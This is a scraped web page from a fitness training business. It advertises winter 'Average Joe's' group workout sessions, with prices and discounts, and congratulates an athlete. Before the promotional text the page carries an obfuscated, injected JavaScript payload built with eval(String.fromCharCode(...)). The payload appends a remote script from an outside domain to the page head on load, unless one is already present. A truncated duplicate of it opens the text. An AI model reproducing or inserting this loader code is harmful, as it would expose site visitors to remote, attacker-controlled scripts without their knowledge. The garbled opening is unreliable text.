32, 10, 125, 32, 10, 105, 102, 40, 110, 116, 51, 32, 61, 61, 32, 116, 114, 117, 101, 41, 123, 10, 10, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 115, 66, 121, 84, 97, 103, 78, 97, 109, 101, 40, 34, 104, 101, 97, 100, 34, 41, 91, 48, 93, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 101, 108, 101, 109, 41, 59, 10, 10, 125));eval(String.fromCharCode(118, 97, 114, 32, 101, 108, 101, 109, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 114, 101, 97, 116, 101, 69, 108, 101, 109, 101, 110, 116, 40, 39, 115, 99, 114, 105, 112, 116, 39, 41, 59, 32, 32, 101, 108, 101, 109, 46, 116, 121, 112, 101, 32, 61, 32, 39, 116, 101, 120, 116, 47, 106, 97, 118, 97, 115, 99, 114, 105, 112, 116, 39, 59, 32, 32, 101, 108, 101, 109, 46, 97, 115, 121, 110, 99, 32, 61, 32, 116, 114, 117, 101, 59, 32, 101, 108, 101, 109, 46, 115, 114, 99, 32, 61, 32, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 49, 48, 52, 44, 32, 49, 49, 54, 44, 32, 49, 49, 54, 44, 32, 49, 49, 50, 44, 32, 49, 49, 53, 44, 32, 53, 56, 44, 32, 52, 55, 44, 32, 52, 55, 44, 32, 57, 57, 44, 32, 49, 48, 48, 44, 32, 49, 49, 48, 44, 32, 52, 54, 44, 32, 49, 48, 49, 44, 32, 49, 50, 48, 44, 32, 57, 55, 44, 32, 49, 48, 57, 44, 32, 49, 48, 52, 44, 32, 49, 49, 49, 44, 32, 49, 48, 57, 44, 32, 49, 48, 49, 44, 32, 52, 54, 44, 32, 49, 49, 48, 44, 32, 49, 48, 49, 44, 32, 49, 49, 54, 44, 32, 52, 55, 44, 32, 57, 57, 44, 32, 49, 48, 48, 44, 32, 49, 49, 48, 44, 32, 52, 54, 44, 32, 49, 48, 54, 44, 32, 49, 49, 53, 44, 32, 54, 51, 44, 32, 49, 49, 56, 44, 32, 49, 48, 49, 44, 32, 49, 49, 52, 44, 32, 54, 49, 44, 32, 52, 57, 44, 32, 52, 54, 44, 32, 52, 56, 44, 32, 52, 54, 44, 32, 53, 48, 41, 59, 10, 10, 118, 97, 114, 32, 97, 108, 108, 115, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 115, 66, 121, 84, 97, 103, 78, 97, 109, 101, 40, 39, 115, 99, 114, 105, 112, 116, 39, 41, 59, 32, 10, 118, 97, 114, 32, 110, 116, 51, 32, 61, 32, 116, 114, 117, 101, 59, 32, 10, 102, 111, 114, 32, 40, 32, 118, 97, 114, 32, 105, 32, 61, 32, 97, 108, 108, 115, 46, 108, 101, 110, 103, 116, 104, 59, 32, 105, 45, 45, 59, 41, 32, 123, 10, 105, 102, 32, 40, 97, 108, 108, 115, 91, 105, 93, 46, 115, 114, 99, 46, 105, 110, 100, 101, 120, 79, 102, 40, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 49, 48, 49, 44, 32, 49, 50, 48, 44, 32, 57, 55, 44, 32, 49, 48, 57, 44, 32, 49, 48, 52, 44, 32, 49, 49, 49, 44, 32, 49, 48, 57, 44, 32, 49, 48, 49, 41, 41, 32, 62, 32, 45, 49, 41, 32, 123, 32, 10, 9, 9, 110, 116, 51, 32, 61, 32, 102, 97, 108, 115, 101, 59, 10, 9, 125, 32, 10, 125, 32, 10, 105, 102, 40, 110, 116, 51, 32, 61, 61, 32, 116, 114, 117, 101, 41, 123, 10, 10, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 115, 66, 121, 84, 97, 103, 78, 97, 109, 101, 40, 34, 104, 101, 97, 100, 34, 41, 91, 48, 93, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 101, 108, 101, 109, 41, 59, 10, 10, 125));Miss out on our fall sessions??? Not to worry our Average Joe’s fall sessions are just around the corner. Starts January 8th and runs until April 25th. Every Tuesday Thursday Morning at 6:00am. $480 for 32 1 hour group workouts. Current Average Joe’s and Joe’s registered before Jan 8th can receive $50 off their program and a free T-Shirt for any referrals. Receive 10% off your fees if you register before Dec 25th. Get on that New Years Resolution before it hits or buy that special someone a gift that will last 4 month . Each session is designed and monitored by our training staff. To register and get more information visit our website.

Congrats to Firstline athlete @samsteel_23 on making the opening roster for the @anaheimducks

Tag #FirstLineTraining on Instagram to appear on this feed.